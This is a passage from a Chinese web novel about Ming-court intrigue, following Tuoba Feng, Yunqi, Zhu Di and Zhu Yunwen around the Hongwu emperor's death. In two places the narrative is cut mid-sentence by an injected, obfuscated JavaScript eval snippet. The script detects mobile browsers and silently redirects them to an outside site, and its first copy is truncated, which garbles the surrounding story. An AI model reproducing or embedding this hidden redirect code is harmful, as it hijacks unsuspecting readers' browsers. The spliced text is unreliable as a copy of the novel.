朱棣忙不迭地吐了草爬起,“唷”的一声直了眼,猛赞道:“夫人!你今儿当真是……” 徐雯只上了淡妆,着一身玄服,头顶玉簪洁白,衬着那瀑布般的三千黑发,只令朱棣看得流口水。 徐雯似嗔非嗔地瞥了朱棣一眼,脚下不停,走向前厅。 朱棣忙赔笑大步追上,伸出手臂让夫人挽着,中秋王府宴这才开始。 拓跋锋屈起长脚,坐在厅外一张偏僻角落的桌旁,那桌前尽是府内家丁,帐房,无人与其交谈,他也不吭声。便给自己斟酒,挟菜。厅中传来朱棣豪爽的笑声,与几名宾客满嘴流利的北平方音。 “我就说呢,哎您请您请,我自个儿来,不敢劳驾王爷了。”那男人声音笑道:“小公子百日那会儿就该来,真没想到师父总不放我下山,这一等可就……” 朱棣忙笑道:“不妨不妨,姚老弟既是来了,这就住下吧。” 徐雯变了一副模样,温言浅笑道:“上回舍弟那事,还是多亏了姚大师……” 拓跋锋听在耳中,心头一动,问道:“夫人她弟……什么事?” 一家丁打量拓跋锋片刻,笑道:“这话说起来可长,好几年前,小舅爷在京中带了伤,就是咱这位姚大师给治的。” 拓跋锋眯起眼,目中现出锐利神色,问道:“什么伤。怎治的?” 那家丁甚是八卦,王爷府中本就无聊,小事都能传上十天半月,更何况此等大事,一听拓跋锋问起,当即眉飞色舞,一口京腔道: “敢情您是二舅家来的?那成,您也得唤他作小舅爷。告儿您,他在京城天子脚下当锦衣卫呐,哎哟我的爷儿喂……锦衣卫您懂不?不懂?我告儿您这锦衣卫可是了不得……” “说重点!”拓跋锋不悦道。 拓跋锋威势仍在,这么一喝,那家丁条件反射地坐直了身子,疑惑打量其片刻,又接着道:“您不耐烦了这是……成,给您拣紧要的说,小舅爷嘛,那是一等一的人才,听说极得皇上器重,可是他那回不知咋的就犯了个杀头的大罪。” 拓跋锋屏息静听。 那家丁又道:“但小舅爷人好,命大,福缘厚,没被杀头,就生生挨了一顿杖打,我低妈唷,您不知道呐,当着皇上和大臣们的面,被打足了三百六十杖……” “……” 拓跋锋难以置信地握着酒杯,浑身发抖。 那家丁一个哆嗦,道:“三百六十杖呐!咱家王爷看在眼里,疼在心里,王爷求情也不管用,就这么眼睁睁看着小舅爷挨打,真是造孽呐。” “听说把那俩脚都打残了,肋骨也都打折了,打得朝廷上全是血,打得文武百官都看不下去了,一个个跪在皇上脚下求情……” “打完以后王爷赶紧的,就把小舅爷给抱回家去,呼天抢地一通哭啊……” “那时小舅爷就剩这么一口气吊着……活不转,也死不掉,据说舅爷这人还有啥心愿未了,舍不得就死。也幸亏这么个事儿了,王爷一面传那全京城的名医,那名医把院子也给挤垮……” “王爷一面在金陵守着,派人回来报信,夫人一听到这事儿,那是哭得死去活来,天昏地暗……哎兄弟,兄弟?我说你也哭,你哭啥捏这是?你也知道惨了,赫猴?” 家丁不禁对自己讲故事的煽情能力肃然起敬。过了好一会儿,酝酿足情绪,揉了揉湿润的眼眶,怔怔望向远处幻想中的地平线,看着那并不存在的夕阳,又唏嘘道: “夫人取了钱,让小的去发粮食给穷人,下令全城斋戒。当天到处请和尚道士,在家里做法,恰好姚广孝大师路过,听了这事儿,就取了师门秘宝,叫朱眼冰蟾,交给信差带回去,这才救了云起小舅爷的性命……” “皓月当空,明珠在天,佳人何处,千里婵娟……” “王爷,您每年都是这几句。” “呵呵,本王书读得少,从小没被教育好……” “押韵!” 朱棣与姚广孝喝得醉醺醺地出了厅外,站在前院中,十里荷塘,三秋桂子,香气隐隐约约传来,令人心怀大畅。 姚广孝还俗未久,这年轻僧人此刻头顶头发不及三寸,蓄了个胡儿笄,合掌道:“王爷请回,广孝这就回去了。” 朱棣嘿嘿笑道:“姚兄弟有啥事儿,随时来找本王就是。” 姚广孝满面红光,笑着点了点头,转身离府,然而前院花架下一人长身而立,等候多时,正是拓跋锋。 拓跋锋红着眼,硬着脖子,拦住姚广孝去路,杵在他的身前,二话不说便撩了袍襟跪下。 “唉唉,施主?您这是……” 朱棣冷不防被唬了一跳,匆匆上前来,姚广孝躬身去扶,拓跋锋却恭恭敬敬地朝姚广孝磕了三个头。 姚广孝蹙眉不解,朝朱棣道:“这是王爷府里的人?” 拓跋锋沙哑着嗓子道:“谢姚大师大恩。”继而站起,走到一旁沉默不语。 朱棣骤听到那声音时吸了口冷气,顾不得拓跋锋,忙朝姚广孝笑道:“无事,姚兄弟,这事说来话长,来日有空再叙。” 送走了姚广孝,拓跋锋仍站在一旁,朱棣忙回身道:“你怎到北平来也不打个招呼?” 朱棣将拓跋锋带到花园中,驱散了下人,方道:“不是让你年后再来的?” 拓跋锋情绪平静了些许,与朱棣二人被秋风一吹,酒气散了大半,拓跋锋想了想,道:“不想寄人篱下。” 朱棣听了这话,便知拓跋锋在扬州遭白眼了,笑道:“行,来了便住下罢,认真说本王也是个钦犯,钦犯包庇钦犯。” 拓跋锋看着满池塘破败的荷叶出神,寻思片刻后道:“王爷,云起现过得如何了?” 朱棣笑答道:“过得挺好,放心就是,年后正是锦衣卫五年一次归家省亲,到那时便见得面了。” 拓跋锋点了点头,与朱棣沿着池塘徐徐行走,朱棣忽然又道:“那天牢狱中的事,书信终究说不清,你现说说,带酒给你那人,长的什么模样?” 拓跋锋沉吟片刻,正要开口时,忽见檐廊下站着一女子,正是徐雯。 拓跋锋未曾行礼,朱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“唔唔。”云起咬了那鸡腿,匆匆回房换飞鱼服,便一面撕吃,一面跟着小太监进了太和殿。 云起以袖子抹了抹嘴,躬身,走到龙案旁站定。 朱元璋正看着奏折,对他的出现视而不见。 一室花香沿晚风飘了进来,黄昏时节,殿上太监四处点起油灯。 云起站在御案一旁,借着灯光端详朱元璋枯树般的老脸。心想这皇帝也真勤快,年轻时打死打活,四处征战,一天就睡俩时辰。等当了皇帝,丞相也免了,御史大夫也没了,六部奏折直接送到太和殿,每天得批上千份。 事无巨细,连杀个人都得亲笔打勾,还是一天睡俩时辰。当皇帝就这么爽? 云起无法理解。 更难以理解的是:朱元璋已经七十岁了,居然还每天这么有精神,连过个节都要回来加班加点的批奏折,他要活到几岁才算是个头? 云起实在想不通,朱元璋就像个火山,在位一日,便有无数的人也许会被抄家灭族,他怎么还不死? 他还要活多久? 朱元璋淡淡道:“云起。” 云起答道:“臣在。” 朱元璋闭上眼,一手按着太阳穴揉了揉,显是略觉疲惫,云起会意,伸出手指轻触朱元璋的后脑风府穴,缓慢按摩。 朱元璋道:“行了。” 云起收回手,朱元璋又道:“记得你父亲么?” 云起心头一凛,只恐怕朱元璋又动了杀机,不知该如何作答。神经绷得紧紧的,再次开始思考。 朱元璋道:“记得便说记得,不记得,便说不记得。” 云起下意识道:“三岁时见他最后一面,现不记得了。” 朱元璋道:“朕也不记得了。” 朱元璋把头靠在龙椅上,双眼迷离地望着殿外黄昏,缓缓道:“常遇春、徐达、傅友德、刘基、李善长……蓝玉。” “这许多年,怎连他们长什么样,朕也想不起了呢?” 云起心想,一个个都被你杀了,你只怕他们变鬼来报仇,自然得装不认识了。 朱元璋又缓缓道:“刘基作的烧饼歌……” 云起暗自好笑,心想傅友德蓝玉他们,还是你让我去杀的,转眼就忘了。 那么一瞬间过去,朱元璋缓缓摇头,像是想把这些回忆驱逐出脑海,继而打了个呵欠,坐直身子,取来奏折。 云起眼角余光瞥见纸上文字,那是一名言官的奏疏:皇上年事已高,宜安养天年,未见古稀者凡事亲力亲为,请传位予皇太孙…… 朱元璋云淡风轻地在那言官名字上,提笔画了个圈,继而换用朱笔。 云起见得多了,知道他要写“斩”字。 果然,朱元璋写了半个车字旁。 但字还未写完,手一抖,朱笔轻轻地在奏折上一戳,按了个红印。 他又不想斩了,云起面无表情地心想。 接着,朱元璋苍老的头缓慢地垂了下来,“砰”的一声磕在龙案上。 云起呆呆看了好一会,才明白发生了什么事。 洪武三十一年,朱元璋驾崩,享年七十一岁。 13. 真假咸鱼 国丧,又是国丧。 朱允炆两眼红肿,怔怔看着棺材,云起搬了张高椅坐在一旁,怔怔看着朱允炆。 朱允炆幽幽道:“过午了,你去吃饭罢。我自个守着。” 云起忍不住道:“别哭了,坐一会儿罢。吃了饭再哭。” 朱允炆不答,过得片刻,又放声大哭道:“爷爷——!” 云起听得心酸,忙安抚道:“好好,云哥儿的不是……别难过了,允炆。” 朱允炆中过一次毒,云起是无论如何不敢再走开了,生怕忽然再来叠带毒纸钱什么的。只得时时守在朱允炆身边,寸步不敢离。 允炆伏在地上,哭个不停,云起木然看了片刻,而后道:“允炆,其实云哥儿挺羡慕你的。” 允炆止住哭声,断续道:“怎么……怎么说。” 云起叹道:“我爹死那时我才九岁,啥都不懂,四岁离了家,被大姐送进宫里,每天也见不着爹……” 朱允炆出神地看着棺木,而后道:“你娘呢。” 云起道:“难产,我出世那会儿就死了。” 朱允炆嗯了一声,云起又道:“我爹告老还乡,背上长疮,回家那时我姐还特地进宫来给我说了声。” 朱允炆呆呆道:“说什么。” 那时间有太监恭敬捧了食盒跪下,云起道:“吃午饭罢,边吃边给你说。” 朱允炆道:“吃不下……” 云起蹲到朱允炆面前,拣了盒子递过去,继而盘腿坐下,道:“吃不完的给我剩点。” 朱允炆胡乱吃了点便递给云起,云起又喂朱允炆吃了几口,才一面扒饭,一面含糊道: “大姐也是个学医的人,她说爹那是小病,能治。我也就混听着,后来不知怎的,刚回钟离没多久就不好了……” 朱允炆“哦”了一声。 “大姐回京来牵着我,带我回家乡,到爹的灵堂里去,满钟离的人都来了,大姐指着爹的棺材让我跪下,说:“咱虽然是庶出,但也是爹亲生的,磕头。” 云起说:“我磕了几个头,姐不叫我停,我就只好一直磕,磕得头破血流的,大哥和二哥还在一旁吵架。” 朱允炆问道:“吵啥?” 云起道:“哟,这鹌鹑儿烤得不错,我才九岁,鬼知道吵啥。” 云起嘴里塞满烤鹌鹑,眉飞色舞道:“大哥叫得像只斗鸡,一把脱了鞋便甩二哥脸上,接着抡袖子上去撕他丫的……” “二哥不甘示弱,回身操了墩布抖开,哗啦黑光一闪,便杵大哥脸上,好大的架势!姐夫站在中间,一边喊道‘大舅二舅!你们别打拉,要打就打我吧!’” 朱允炆本以为云起要诉苦,忽然话风一转,冷不防听到这绘声绘色的描述,险些笑得抽过去。 云起看着允炆破涕为笑,心里好受了些许,转身坐上椅子,也不管规矩,就拿着筷子一点一点,朝地上跪着的朱允炆道:“接着大哥二哥便一起揍姐夫……” 正说话间,黄子澄来了。 太傅本想关心关心皇孙吃了没,别太难过了。小身板儿饿着了可不好。 见到允炆与云起,黄子澄险些气炸了肺。 一国之君跪在地上,云起坐在高椅上,一手捧着皇上的食盒,一手拿着筷子,笑吟吟地说着什么。 朱允炆则笑看着云起。 “……” 黄子澄的神经“啪”一声断了弦。 “徐云起——!” 云起塞了满嘴巴饭登时喷了出来,忙不迭地要逃,奈何黄子澄一身正气凛然,怒发冲冠,硬是揪着云起衣领将他推下椅来。 “你你你……你成何体统!你欺君犯上!皇上尸骨未寒……你便在灵堂中公然欺君!” 黄子澄披头散发在风中咆哮,一把抢过云起手中食盒便摔在他脑袋上,又不顾朱允炆上前抱着腰,操起椅子满灵堂追着云起。 云起终究理亏,不敢与太傅动手,只得灰溜溜逃了出去。 “妖孽……祸害!”黄子澄气得浑身发抖,两眼翻白。当即跪在灵枢前,嚎啕大哭起来。 云起惴惴蹲在殿外,竖起耳朵偷听。 只听朱允炆不住认错,黄子澄过得半晌方气息稍定,一把鼻涕一把泪地抱着朱允炆,唉声叹气。 云起拣了头上半只烤鹌鹑,悻悻丢回食盒里。 最喜欢吃的烤鹌鹑,可惜了。 “好吃不?” “嗯嗯……” 十五岁的拓跋锋已是一副男人模样,喉结略动了动,看着小云起手里的半只烤鹌鹑。 这时候,坐在一边吃烤鹌鹑的小云起还只有十二岁——完全没长大的小孩。穿着一身洗得干干净净的灰蓝袍子,像只裹着麻布的小瓷人。 拓跋锋长得比云起高了一个半头,一身笔挺修身的金色飞鱼服,声音带着变声期的扁扁艰涩,仿佛与云起是两个世界的人。 小云起吝啬地扯了点鹌鹑头鹌鹑屁股给拓跋锋,拓跋锋咔吧咔吧地嚼了,直着脖子咽了下去。 “师哥当值去了。” 小云起头也不抬道:“早点回来。” 拓跋锋答道:“知道。”继而摸了摸云起的头,煞有介事地一手按着刀,走了。 御花园的假山辟出一块空地,假山另一面则是太掖池,那处素来是情侣约会的好地方,拓跋锋闭着眼睛,两手枕在脑后,小云起匍匐在他身边,晒着太阳。 “怎么还没来……”小云起恹恹道。 拓跋锋睁开深邃的琥珀色双眼,耳朵动了动,道:“来了。”继而猛地坐起。 “拓跋锋?”寿春公主柔声笑道:“师兄弟在这等了很久么?” 拓跋锋冷冷地“嗯”了一声,与小云起一同望向寿春公主手里的食盒。 小云起拍了拍袍子起身,满脸防备的表情,接过寿春公主递来的食盒,转身走到一旁坐下,打开,里面是两只烤鹌鹑,很满意,开始吃了。 拓跋锋站起来,与寿春公主并肩走到太掖池边,就着栏杆坐下。寿春公主温柔道:“昨晚睡得好么?” 寿春公主倚着池栏,拓跋锋一身锦服,英姿飒爽。 美男子侍卫与秀美公主于太液池边,实是极美的一副景色。 寿春公主以袖掩着樱桃小嘴,低声说了几句什么,又浅浅笑了起来。 拓跋锋淡淡道:“哦。” 寿春公主嗔道:“呵呵,你真是的……”食指一杵,推了推拓跋锋的脑袋。 拓跋锋木头人似的晃了晃。 寿春公主粉面含羞,看了太掖池半晌,而后道:“拓跋锋。” 拓跋锋木然道:“臣在。” 寿春公主道:“我昨儿晚上……” 拓跋锋转头道:“吃完了?” 小云起满嘴巴油,在假山后张望,戒备地注视寿春公主,而后缓缓点头答道“留个回家吃。” 拓跋锋跳下栏杆,飞鱼服袍襟一荡,划出优雅的弧线,上前道:“走吧。” 一大一小,就这么把寿春公主丢在池边,走了。 寿春公主桃花般的秀脸涨得通红,决定下次不给徐家那讨厌鬼带吃的了。 然而数日后,寿春公主两手空空地来了,迎接她的却是面前二人冰冷的目光。 “烤鹌鹑呢?”小云起站在拓跋锋身后,提防地问道。 寿春公主细眉一横:“没有,你就知道吃呢,干什么带给你!” 拓跋锋仿佛受了极大的欺骗,英俊的脸瞬间铁青,语气森寒,咄咄逼问道:“烤鹌鹑呢?!” 年仅十四岁的寿春公主扁了扁嘴,泪水在眼眶里滚来滚去…… 白等了半天,小云起绝望透顶,扁着嘴,泪水也在眼眶里滚来滚去,忍着难以言喻的心酸与悲痛,道:“我回去了……” 拓跋锋冷冷对寿春公主说:“我也回去了,你走罢。” 寿春公主如遭五雷轰顶,坠入万丈深渊,眼睁睁看着俊美的情郎转身离去。 那一刻,因为两只烤鹌鹑,她永远地,彻底地失去了他。 小云起沿着太掖池走了半圈,闷闷地扑倒在草地上。 拓跋锋背对池水坐着,拍了拍大腿,道:“过来,坐师哥身上。” 小云起扁着嘴,跨坐在拓跋锋大腿上。 拓跋锋自然而然地抱着小云起的腰,小云起反手搂着拓跋锋干净的脖颈,二人抱在一处,过了片刻,小云起呼吸均匀,睡了。 鸳鸳相抱何时了,鸯在一旁看热闹。 拓跋锋等小云起睡熟了,才抱着他起身,把这半大不小的秤砣师弟晃悠晃悠抱回院里,让他睡下,想了想,扯了块抹布蒙上脸,准备去御膳房偷烤鹌鹑。 云起已连续值班十个时辰,此刻终于抽得片刻闲暇,反复叮嘱替班的荣庆一应事宜后,方不放心地回院内洗了个澡,披着湿淋淋的头发,倒在床上。 连着站十个时辰,铁打的也吃不消,云起疲惫合眼,头发未干也顾不得了,只想睡会儿。 “正使……” 苍蝇嗡嗡叫:“云正使云正使云正使……” 云起闭着双眼,迷迷糊糊道:“墙上挂着尚方宝剑,自己去拿来抹脖子罢。” “云正使……储君传唤储君传唤……太傅太傅……” 云起抓狂地叫道:“还让不让人活了——!”继而猛地起身,恨恨将那太监推了个趔趄,取来飞鱼服三两下穿上。 荣庆哭丧着脸,站在太和殿前,见云起来了如释重负道:“储君要见来吊唁的藩王,前几天进的京。” 云起没好气道:“燕王来了么?” 荣庆神色凝重,摇了摇头,云起只得进殿,见朱允炆坐在龙椅上,端详片刻,又见黄子澄坐在一旁,黑着脸。 廷下站着李景隆,方孝孺等人。 云起躬身,继而走到龙案一旁站好。 朱允炆像是吃了一枚定心丸,传道:“召三位皇叔。” 锦衣卫严禁对朝政插嘴,关门放云起以及关门放荣庆,甚至关门放拓跋锋,效果也差不多。朱允炆坚持这许久,想是正被黄子澄教训过,却仍倔强地等着云起过来。 想通这其中内情,云起一肚子下床气消散得无影无踪,并对黄子澄露出一个嘲讽的微笑。 黄子澄却无心找他的麻烦了。 只见三王进了殿,各自朝朱允炆躬身,却不便跪,口称“皇侄”,云起明白了,今日众王想给朱允炆一个下马威、 只见黄子澄朝方孝孺使了个眼色,方孝孺便冷冷道:“诸位藩王见了圣上不跪,有何居心!淮阴侯封十万户,有不臣之心尚斩之以谢天下,诸位皇叔自认比之淮阴侯如何?!” 三王听到这话,未想方孝孺如此硬气,竟敢直斥己非,黄子澄早与方孝孺串通好,嘲道: “此事需怪不得三位皇叔,皇上新丧,储君未继位,这礼制本就说不清,待得皇上出殡后,皇叔们再跪,须保大礼不错,也就是了。” 朱允炆忙笑道:“不妨不妨,都是自家人。” 云起明白了,这是一个唱红脸一个唱白脸来着,于是憋着笑。 鲁王是最先反应过来的,怒道:“既是有此一说,方学士如何当庭耍泼?!” 方孝孺朗声道:“非也,孝儒见不得罔顾天子之事,圣上尸骨未寒,储君年幼,众位王爷便不顾礼节,自行其事,令人不齿!” 晋王寻到话中漏洞,冷笑道:“方学士原来是要为储君立威,既是自家人叙旧,皇侄何以传唤这数名外臣?!” 朱允炆道:“皇叔说的是,的确是方大学士逾礼了,来人,廷杖二十!” 云起还在微笑,没明白过来发生何事。 方孝孺上次廷杖后旧伤未愈,一瘸一拐走到殿中,扑通跪下,峻声道:“只望诸位王爷,当记得今日廷上之言!” 朱允炆又喝道:“廷杖!” 云起这才回过神来,笑容僵在脸上,试探地看了看朱允炆。 朱允炆蹙眉,小声道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472494|185544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “打他二十廷杖……”说这又朝方孝孺指了指。 云起的思想状态犹如数十道神雷齐齐轰炸,百座火山一并喷发。 “打……他?”云起看看方孝孺,又看朱允炆,黄子澄微有不悦,咳了一声。 云起瞬间背脊发凉,转身去取廷杖。 廷杖打下,云起对锦衣卫们分使眼色,各人下手极轻,坐在龙椅上的不是朱元璋,云起对允炆的脾气还是摸得清楚的。 允炆视线避开方孝孺,又问道:“四皇叔何时才来?” 方孝孺痛哼听在耳中,三王便觉不自然,气焰消了八分,鲁王道:“他……四哥料想是路上耽搁了点时候。” 朱允炆笑道:“可别误了时日才好,这祖宗大礼不可荒废。” 众王似是当面被赏了一耳光,各自讪讪道:“储君说的是。” 黄子澄冷笑道:“什么路上耽搁了时候,分明就是不将储君放在眼里!圣上在位时,太子治国丧,北平至南京,五天便到,如今头七也过了,已拖了近月,还要耽搁到何时?!听闻燕王私底下招兵买马……” 此言一出,数王瞬间色变,同时瞥向云起。 黄子澄却不顾云起脸色,将燕王朱棣全家骂了个狗血淋头,听得云起脸上青一阵,白一阵。 二十廷杖已打完,云起本想方孝孺行苦肉计,不可太过,只虚着打了半天,并未伤筋动骨。此刻被黄子澄含沙射影的辱骂,蓦然火起,只恨先前脾气太软,又狠狠抡起廷杖,咬牙切齿地给方孝孺加了一棍。 那一棍打得极狠,对面搭档正要报出二十,见云起多打,忙也跟着再加一棍,两棍齐下,打得方孝孺扑地吐出一口血来。 朱允炆吓了一跳,见云起铁青着脸,又与王爷们心不在焉地寒暄几句,众王巴不得谢恩告退,便急急忙忙地走了。 方孝孺咬牙爬起,颤巍巍地走到龙案前,朱允炆忙起身来扶,道:“先生真是……唉。” 小太监搬了两张椅来,让方孝孺趴着,方孝孺才道:“打得轻了,不够上回狠。” 云起放好廷杖,走回龙案前站定,心中答道:得了便宜还卖乖,下次不会了,下次十杖内不把你打成肉饼,我他妈的就不姓徐。 一直缄默的李景隆此刻缓缓道:“非如此不足以震慑藩王,今日孝儒兄挨打,来日诸王若有逾礼,殿下须得记得才好。” 朱允炆叹了口气,点了点头,又道:“毕竟是我亲叔叔,若能如此解决,便……” 方孝孺正色道:“如今藩王尾大不掉,殿下不可优柔寡断。” 黄子澄咳了一声。 云起心想,先前便寻过燕王晦气,还指桑骂槐地把自己数落一次,现又要寻由头了不成? 黄子澄慢条斯理道:“无关人等,一应退避。” 云起蹙眉,屏息。 黄子澄道:“宫中耳目繁多,锦衣卫徐正使,回避。” 云起道:“锦衣卫只听皇上的吩咐。” 朱允炆面有难色,半晌后显是下了决定:“徐正使,你先出去一会。” 云起注视了朱允炆片刻,而后点了点头,率先出殿,其余五名锦衣卫跟着云起,出了太和殿。 云起反手把殿门关严实,安静地坐在殿前台阶上。 如果拓跋锋仍在,云起或许会对黄子澄说:皇上现躺在棺材里,你让皇上来下令就是。 然而当年既选了留下来,便说不得要对允炆尽忠了。 尽忠一如拓跋锋,无论主人发出怎样的命令,狗都须执着地去付诸行动,云起灵敏的嗅觉再一次发挥了作用,方、黄、李三人所谈的事,多半与他的痞子姐夫有关。 数日后,朱棣终于抵达南京。 同时带来的,还有一万五千名北平亲军,驻扎于南京城外。 朱棣要做什么!朝廷上下马上就炸了锅,要谋反吗? 城外帐篷里。 朱棣坏笑道:“就知道不放我进去。” 拓跋锋压低了斗笠,立于帐中一侧,沉默不答。 朱棣翘着二郎腿,脑袋枕于手臂,坐于椅上,朝后一晃一晃。 “燕王你好大的胆子——!” 朱棣登时仰天摔了下去,拓跋锋手臂一长,微躬身,将椅背扯住,只见军帐外怒气腾腾奔来一人,亲兵拉也拉不住。 拓跋锋松手,笼袖低头,静静站在朱棣身后。 那人高举一物,登时金光万道!晃瞎了朱棣的狗眼! 朱棣定睛一看,吓得不轻,道:“兄台……不,大人贵姓?” 那人怒道:“本官宋忠!谁与你嬉皮笑脸,称兄道弟!” 只见那物三尺两寸长,一指宽,宋忠酝酿一会情绪,继而感情充沛地怒吼道:“尚方宝剑在手!燕王朱棣接旨——!” 朱棣定了定神,正不知如何作答,拓跋锋沙着声音,冷冷道: “王爷,那把尚方宝剑是假的。” 朱棣眼珠子转了转。 那时又有一人进帐,同样亦是无人拉得住,一身飞鱼服,腰佩绣春刀,抹了把汗,笑道:“终于进来了。” 朱棣失声道:“荣庆?!” 荣庆手里端着一物,莞尔打量宋忠,三人大眼瞪小眼,继而尴尬清了清嗓子道:“那个……王爷……” 荣庆手里尚方宝剑与宋忠那把长得一模一样,拓跋锋低声道:“荣哥儿手上才是真的。” 荣庆听到这声音时微微一震,难以置信地望向拓跋锋。 拓跋锋略扬起头,于斗笠下眯着眼,朝荣庆极缓慢地摇了摇头。 荣庆神色一敛,正色道:“云正使着我来……有几句话与燕王分说。” 宋忠登时炸了毛,吼道:“锦衣卫算甚!!我有皇上御旨!!!!!!!!!!!!!!!!!!!” 于是朱棣唯一念头便是:滑天下之大稽,莫过于此。 交予尚方宝剑的是小舅子……皇上还得挖空心思去弄把假的来用,这究竟是个什么世道?! 14. 一剑西来 拓跋锋并未解释自己的处境,只与荣庆说了两句话: “云起过得如何?” 荣庆答道:“很好。” 拓跋锋微一点头,道:“过得好,我便安心了。” 傍晚时分,天已全黑,南京城内无数灯火亮起,民居前纷纷挂着白灯笼。 云起蹲在井上,于那惨白的灯光中,接过荣庆递来的尚方宝剑,随手拍死一只停在井栏旁的苍蝇。 “姐夫怎么说?” 荣庆道:“他说还需再想想。” 云起不悦道:“让他进来,我保他无恙,还想什么?现朝中不知多少人盯着他,把军队放在城外,独自进来吊唁,就没这胆量么?” 荣庆眉头深锁,显是心不在焉,寻思良久后道:“云哥儿,你这事太过了。” 云起矮身略抬头,打量荣庆神色,试探道:“你见到老跋了?” 荣庆倏然脸色一变道:“老跋?!老跋不是逃到漠北去了?!” 荣庆站到云起面前,抓着云起衣领,险些把云起推进井里去,厉声道:“你瞒着弟兄们什么?!云哥儿!这可是杀头的大罪!” 云起忙蹲稳道:“没有!你疑心病了荣庆,我就白问问!” 云起解释道:“我看你不太对劲……” 荣庆狐疑地打量了云起片刻,而后道:“我瞧见宋忠那家伙,也捧着把尚方宝剑。” 云起疑道:“送终是谁?尚方宝剑不就只有一把么?” 荣庆一掸袍襟坐了,没好气道:“假的,估计又是太傅搞的鬼。” “皇上的御旨里把燕王骂了个通透,八成又是太傅捉刀写的稿子,着他现滚回北平去……” 云起色变道:“这不逼他反么?儿子来吊祭老爹谁见拦在城外的?” 荣庆抿唇,脸上毫无半分血色,定定看着云起,又道:“最后说:燕王若还有几分自知之明,便将大军遣回北平去,自留于京城外,待太祖灵枢出城之日,再以罪臣之身尾随其后尽孝。” 云起跳下井栏,朝宫门处跑去。 “去哪,云哥儿!” 云起不答,已跑得远了。 朱棣一眼便认出了京城牌楼上,白灯下的云起那漆黑侍卫锦服,由衷赞道:“我发现雯儿与云起真是姊弟连心,难怪起个名儿都起成一系列的,你说雯儿猜云起的心思咋就这般准咧……” 拓跋锋冷冷道:“行了。” 朱棣煞有介事地点了点头,朝牌楼高处的云起吹了声口哨。 朱棣朝拓跋锋道:“我这就去了。” 朱棣走出一步,拓跋锋跟上一步,朱棣眯起眼,道:“你不许去。” 拓跋锋执拗道:“我要去。” 朱棣咬牙切齿道:“你不能去……” 拓跋锋不答,又跟上一步。 朱棣道:“狼崽子喂,不能去,你想害死王爷?” 云起蹙眉,紧盯着朱棣与他身旁隐没于黑暗里的那名高个子侍卫,瞬间紧张起来。 朱棣与那高个子简短商量片刻,继而缓缓朝城门走来。 拓跋锋沿着城墙外沿溜到偏僻处,仰头眺望,继而从腰间解下一只三爪钢钩,甩了个旋,当啷一声挂于城墙顶端,鬼魅般攀了上去。 拓跋锋在城墙上稳稳站定,头也不回地收回钢钩,抽刀,朝背后一刺,瞬间杀死一名巡城卫兵,紧接着如一只夜枭扑向民居屋顶,几下纵跃,落地,嗖然钻进马车底盘。嘴里咬着绣春刀,死死抓牢。 马车缓慢驰向皇宫。 拓跋锋安静听着车中传来对答。 “哎哟小舅子,轻点……”朱棣笑嘻嘻道。 云起松了箍着朱棣手腕的手掌,问道:“刚跟着你那人是谁?是老跋?” 朱棣一本正经道:“从来不认识哪个老跋。” 拓跋锋蹙眉。 云起道:“老跋过得如何?” 朱棣想了想,撩起车帘朝外看了一眼,道:“金陵怎跟过中元节似的……实话说,不太好。” 云起满意道:“知道他过得不好,我就安心了。” 拓跋锋:“……” 云起又道:“怎这时间才来?” 朱棣慢条斯理道:“大人的事儿,小孩少管。” 云起嗤之以鼻,二人到了皇宫后门,朱棣跃下车来,云起回了大院,把朱棣拦在门外,而后道:“自己去见储君。” 朱棣道:“小舅子,你说话可得算数。” 云起不耐烦道:“知道了,现安排值班,跟着你就是。” 朱允炆那时间正在御书房中,忐忑看着书,忽听殿外太监来报:“燕王在午门外求见。” 朱允炆瞬时抬头,朱棣何时进城的?! 朱允炆颤声道:“快去请太傅!” 那时只听御书房外皮鼓一响,锦衣卫交班,云起入内、。值班锦衣卫离去,书房中便只剩云起与朱允炆二人。 云起于书案前站定,见朱允炆打量他,微诧道:“怎么了?” 朱允炆摇了摇头,咬着唇,沉吟不答,片刻后唤门外太监道:“传燕王入宫见驾。” 云起吸了口气道:“姐……燕王来了?” 朱允炆点头,笑道:“他若是耍泼,你可得帮着我。” 云起笑答道:“没有的事儿,好歹是你亲叔,怎会耍泼。” 朱允炆欲言又止,像是想说点什么,却又终究启不了话头,少顷黄子澄先到,云起一笑置之。 朱棣满身风尘仆仆进了殿,云起一看就知道,很明显是先在御花园里打了个滚的。 朱棣倒是光棍,一撩前襟,扑通朝前仆倒,情真意切道:“臣叔参见储君!” “……” 黄子澄和朱允炆不知怎么应对了。 朱允炆一副惨不忍睹的表情,黄子澄正要拿话来斥,允炆忙道:“罢了,赐座。” 黄子澄的话吞了回去。 朱棣“嗨”地出了口长气,屁 股沾着椅子边,小心翼翼地坐了,悲切道:“允炆,你自己一个人不容易呐。” 朱允炆看了朱棣片刻,温言道:“是呵,我也有今日了。” 此言一出,殿内众人啼笑皆非,当年朱元璋未立储君,朱棣曾无理取闹,拍着朱允炆肩膀,嬉皮笑脸道:“不意儿乃有今日”,言行十分无礼,后被朱元璋狠狠训斥了一顿。 朱棣抹了把脸,讪讪道:“从前的事,就算了罢。” 朱允炆笑答道:“四叔既这么说,也只好算了,但四叔带了这许多军队来,又有何意?今夜又是谁带四叔进城的?” 黄子澄面容严峻,瞥向云起,云起却微微闭上双眼,耳朵不易察觉地一动。 那瞬间只听屋檐外咔的一声。 侍卫惶急大喊道:“抓刺客——!朝御书房去了——!” 一把长剑无声无息地破开窗户,朝御书房中飞来,穿过黄子澄与朱棣惊恐的视线,飞向龙椅上的朱允炆! 